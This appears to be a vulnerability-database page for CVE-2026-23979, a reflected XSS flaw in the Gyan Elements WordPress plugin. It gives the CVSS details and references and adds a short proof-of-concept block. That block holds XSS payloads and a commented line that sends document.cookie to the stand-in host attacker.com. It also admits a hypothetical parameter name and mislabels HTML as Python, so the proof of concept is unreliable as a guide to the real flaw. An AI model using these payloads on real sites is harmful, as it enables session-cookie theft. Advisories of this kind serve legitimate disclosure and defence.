CVE-2026-23979

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Softwebmedia Gyan Elements gyan-elements allows Reflected XSS.This issue affects Gyan Elements: from n/a through <= 2.2.1.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Softwebmedia Gyan Elements <= 2.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for Reflected XSS -->
<!-- Attackers construct a malicious link containing a script payload -->
<!-- Example URL construction (Parameter name is hypothetical): -->
<!-- http://target-site.com/?vulnerable_param=<script>alert(document.cookie)</script> -->

<a href="http://target-site.com/wp-content/plugins/gyan-elements/some-file.php?param=<img src=x onerror=alert(1)>">
  Click here to trigger XSS
</a>

<!-- JavaScript Payload to steal cookie (for demonstration only) -->
<!-- <script>new Image().src="http://attacker.com/?c="+document.cookie;</script> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23979
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23979
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23979/
[4] VulDB https://vuldb.com/cve/CVE-2026-23979
[5] https://patchstack.com/database/Wordpress/Plugin/gyan-elements/vulnerability/wordpress-gyan-elements-plugin-2-2-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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